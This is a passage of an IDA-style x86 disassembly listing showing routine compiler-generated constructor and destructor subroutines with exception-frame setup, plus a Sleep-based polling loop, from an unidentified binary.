		call	sub_13ABED2
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_13ABED2
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_13ABED2
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13ABED2
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13ABED2
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13ABED2
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_13ABED2
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13ABED2
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13ABED2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1430	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1950	proc near		; CODE XREF: sub_13AB8F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A6CCh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_13AB423
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB423
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB423
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1950	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C19F0	proc near		; CODE XREF: sub_13AC283j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A73Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_13AB423
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AB423
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB423
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB423
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB423
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C19F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1AC0	proc near		; CODE XREF: sub_13AB635j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A798h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, dword_9D0CC0[esi]
		mov	[esp+14h+var_4], 3
		call	sub_13AB423
		lea	ecx, dword_9D0C92[esi]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB423
		lea	ecx, dword_9D0C64[esi]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB423
		lea	ecx, dword_9D0C36[esi]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB423
		lea	ecx, dword_9D0C08[esi]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1AC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1B80	proc near		; CODE XREF: sub_13AC616j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A7FDh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_13AB423
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB423
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB423
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB423
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1B80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1C40	proc near		; CODE XREF: sub_13AC2B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A85Dh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_13AB423
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB423
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB423
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB423
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1C40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1D00	proc near		; CODE XREF: sub_13ABCCAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A88Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1D00	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1D70	proc near		; CODE XREF: sub_13ABBD0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A8ABh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1D70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1DE0	proc near		; CODE XREF: sub_13ABF27j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A8CBh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1DE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1E50	proc near		; CODE XREF: sub_13AC328j
		add	ecx, 4
		jmp	sub_13AB423
sub_13C1E50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1E70	proc near		; CODE XREF: sub_13AB513j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A8F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_13AB423
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1E70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1EF0	proc near		; CODE XREF: sub_13AC1EDj
		add	ecx, 4
		jmp	sub_13AB423
sub_13C1EF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1F10	proc near		; CODE XREF: sub_13AC3F5j
		add	ecx, 4
		jmp	sub_13AB423
sub_13C1F10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1F30	proc near		; CODE XREF: sub_13AC2E2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A93Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_13AB423
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB423
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB423
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1F30	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1FD0	proc near		; CODE XREF: sub_13AB97Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A98Ch
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13AB824
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABB49
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13ABB49
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13ABB49
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13ABB49
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C1FD0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2070	proc near		; CODE XREF: sub_13ABA45j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A9FBh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABB49
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13ABB49
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13ABB49
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13ABB49
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13ABB49
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_13ABB49
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C2070	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2140	proc near		; CODE XREF: sub_13ABB76j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AA58h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, dword_9D0C08[esi]
		call	sub_13ABB49
		lea	ecx, dword_9D0C36[esi]
		mov	[esp+14h+var_4], 0
		call	sub_13ABB49
		lea	ecx, dword_9D0C64[esi]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13ABB49
		lea	ecx, dword_9D0C92[esi]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13ABB49
		lea	ecx, dword_9D0CC0[esi]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13ABB49
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C2140	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2200	proc near		; CODE XREF: sub_13ABC20j
		push	esi
		mov	esi, ecx
		call	sub_13AC26A
		mov	dword ptr [esi], offset	dword_43E050
		mov	eax, esi
		pop	esi
		retn
sub_13C2200	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2230	proc near		; CODE XREF: sub_13ABAB3j
		push	esi
		mov	esi, ecx
		call	sub_13AC26A
		mov	dword ptr [esi], offset	dword_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_13C2230	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2260	proc near		; CODE XREF: sub_13AB815j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AABDh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABB49
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13ABB49
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13ABB49
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13ABB49
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13ABB49
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C2260	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2320	proc near		; CODE XREF: sub_13AB702j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AB1Dh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABB49
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13ABB49
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13ABB49
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13ABB49
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13ABB49
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C2320	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C23E0	proc near		; CODE XREF: sub_13AB671j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AB4Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABB49
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C23E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2460	proc near		; CODE XREF: sub_13AC111j
		push	esi
		mov	esi, ecx
		call	sub_13AB5B3
		mov	dword ptr [esi], offset	dword_43E090
		mov	eax, esi
		pop	esi
		retn
sub_13C2460	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2490	proc near		; CODE XREF: sub_13AB6FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AB6Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABB49
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C2490	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2510	proc near		; CODE XREF: sub_13ABE7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AB8Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABB49
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C2510	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2590	proc near		; CODE XREF: sub_13AB685j
		push	esi
		mov	esi, ecx
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		mov	dword ptr [esi], offset	dword_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_13C2590	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C25C0	proc near		; CODE XREF: sub_13AC0A3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43ABB6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABB49
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13ABB49
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C25C0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2640	proc near		; CODE XREF: sub_13AB973j
		push	esi
		mov	esi, ecx
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		mov	dword ptr [esi], offset	dword_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_13C2640	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2670	proc near		; CODE XREF: sub_13ABB8Fj
		push	esi
		mov	esi, ecx
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		mov	dword ptr [esi], offset	dword_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_13C2670	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C26A0	proc near		; CODE XREF: sub_13AB473j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43ABFFh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABB49
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13ABB49
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13ABB49
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13ABB49
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C26A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2740	proc near		; CODE XREF: sub_13AB667j

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, Sleep
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	ds:byte_9E392C[esi], 1


loc_13C2758:				; CODE XREF: sub_13C2740+E4j
		test	bl, bl
		jnz	loc_13C282E
		mov	al, ds:byte_9D2B74[esi]
		test	al, al
		jnz	short loc_13C276E
		mov	bl, 1
		jmp	short loc_13C2782
; ---------------------------------------------------------------------------


loc_13C276E:				; CODE XREF: sub_13C2740+28j
		lea	ecx, [esi+15Fh]
		call	sub_13ABC5C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_13C2789


loc_13C2782:				; CODE XREF: sub_13C2740+2Cj
		mov	ds:byte_9E392C[esi], 0


loc_13C2789:				; CODE XREF: sub_13C2740+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_13AC486
		lea	edi, dword_9E3983[esi]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_13AC34B
		mov	ecx, [eax]
		lea	edx, [esp+20h+var_C]
		mov	[esp+20h+var_10], ecx
		push	edx
		mov	ecx, edi
		call	sub_13AB711
		push	eax
		lea	ecx, [esp+28h+var_14]
		call	sub_13ABAF9
		test	al, al
		jz	short loc_13C280E


loc_13C27C4:				; CODE XREF: sub_13C2740+CCj
		lea	ecx, [esp+28h+var_18]
		call	sub_13AC611
		mov	ecx, [eax]
		call	sub_13ABB44
		lea	ecx, [esp+28h+var_18]
		call	sub_13AC611
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_13C27EB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_13C27EB:				; CODE XREF: sub_13C2740+A1j
		lea	ecx, [esp+2Ch+var_1C]
		call	sub_13AB761
		lea	eax, [esp+2Ch+var_18]
		mov	ecx, edi
		push	eax
		call	sub_13AB711
		push	eax
		lea	ecx, [esp+34h+var_20]
		call	sub_13ABAF9
		test	al, al
		jnz	short loc_13C27C4


loc_13C280E:				; CODE XREF: sub_13C2740+82j
		mov	ecx, edi
		call	sub_13AB4B9
		push	0FAh
		call	ebp ; Sleep
		mov	al, ds:byte_9E392C[esi]
		test	al, al
		jnz	loc_13C2758
		test	bl, bl
		jz	short loc_13C283B


loc_13C282E:				; CODE XREF: sub_13C2740+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_13C283B:				; CODE XREF: sub_13C2740+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_13C2740	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C28A0	proc near		; CODE XREF: sub_13ABB67j

var_1F4		= byte ptr -1F4h
var_1F0		= byte ptr -1F0h
var_1AC		= byte ptr -1ACh
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	43AC2Bh
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_E2AAEB
		mov	ds:byte_9E392C[esi], 1
		call	sub_13AB4B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_13C28E0
		push	eax
		jmp	short loc_13C28E5
; ---------------------------------------------------------------------------


loc_13C28E0:				; CODE XREF: sub_13C28A0+3Bj
		push	offset byte_446F80


loc_13C28E5:				; CODE XREF: sub_13C28A0+3Ej
		lea	ecx, dword_9E3957[esi]
		call	sub_13AB9D7
		mov	edi, [esp+1C8h]
		test	edi, edi
		jz	short loc_13C28FE
		push	edi
		jmp	short loc_13C2903
; ---------------------------------------------------------------------------


loc_13C28FE:				; CODE XREF: sub_13C28A0+59j
		push	offset byte_446F80


loc_13C2903:				; CODE XREF: sub_13C28A0+5Cj
